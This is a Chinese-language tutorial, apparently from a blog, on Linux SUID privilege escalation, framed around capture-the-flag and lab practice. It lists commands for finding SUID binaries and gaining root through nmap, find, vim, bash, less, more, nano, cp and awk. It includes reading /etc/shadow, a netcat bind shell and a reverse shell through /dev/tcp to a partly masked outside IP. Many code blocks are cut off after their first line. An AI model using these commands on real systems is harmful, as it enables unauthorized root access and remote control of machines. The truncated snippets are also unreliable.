介绍
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效.
通俗的来讲,假设我们现在有一个可执行文件ls
,其属主为root,当我们通过非root用户登录时,如果ls
设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
利用此特性,我们可通过SUID进行提权
1 | 1. SUID权限只能设置二进制文件 |
设置SUID
1 | chmod u+s filename 设置SUID位 |
常用的SUID提权命令
现在已知的具有SUID权限的二进制可执行文件大体有如下这些
1 | nmap |
查找拥有SUID权限的程序
1 | find / -user root -perm -4000 -print 2>/dev/null |
命令解释
1 | / :代表根目录,也就是说从根目录开始查找 |
nmap提权
较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
现在nmap的版本都比较高,应该是很少了
交互模式可以通过执行Nmap参数" interactive "
1 | nmap --interactive |
以下命令将提供一个提升的shell
1 | nmap> !sh |
find提权
这个比较常用,在一些靶场的提权过程,都存在这个方法利用
如果find命令也是以suid权限运行的话,则将通过find执行的所有命令都会以root权限执行
如果你所查看的SUID权限里面没有find命令的话,可以采用以下命令,赋予其SUID权限
1 | chmod u+s /usr/bin/find |
查看是否find具有suid权限
1 | find / -user root -perm -4000 -print 2>/dev/null |
1 | touch anyfile #必须要有这个文件 |
(虽然直接用的root权限,但是方法如此,只是做一个演示)
进入shell方法
1 | #进入shell |
linux一般都安装了nc 我们也可以利用nc 广播或反弹shell
广播shell:
1 | find user -exec nc -lvp 4444 -e '/bin/sh' \; |
在攻击机上:
1 | nc 靶机ip 4444 |
反弹shell
1 | find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \; |
在攻击机上:
1 | nc -lvvp 4444 |
vim提权
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
1 | vim.tiny /etc/shadow |
通过vim进入shell
1 | vim.tiny |
bash提权
以下命令将以root权限打开一个bash shell。
1 | bash -p |
less提权
less命令也可以进入shell
1 | less /etc/passwd |
more提权
more命令进入shell和less相同
1 | more /etc/passwd |
要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!
命令进入shell
nano提权
nano也算是比较上古的文本编辑器了
nano进入shell的方法为
1 | nano #进入nano编辑器 |
cp提权
使用cp 命令覆盖原来的/etc/passwd
文件
awk提权
awk命令进入shell:
1 | awk 'BEGIN {system("/bin/bash")} |
总结
靶场居多,实战偏少,多总结,多利用,多学习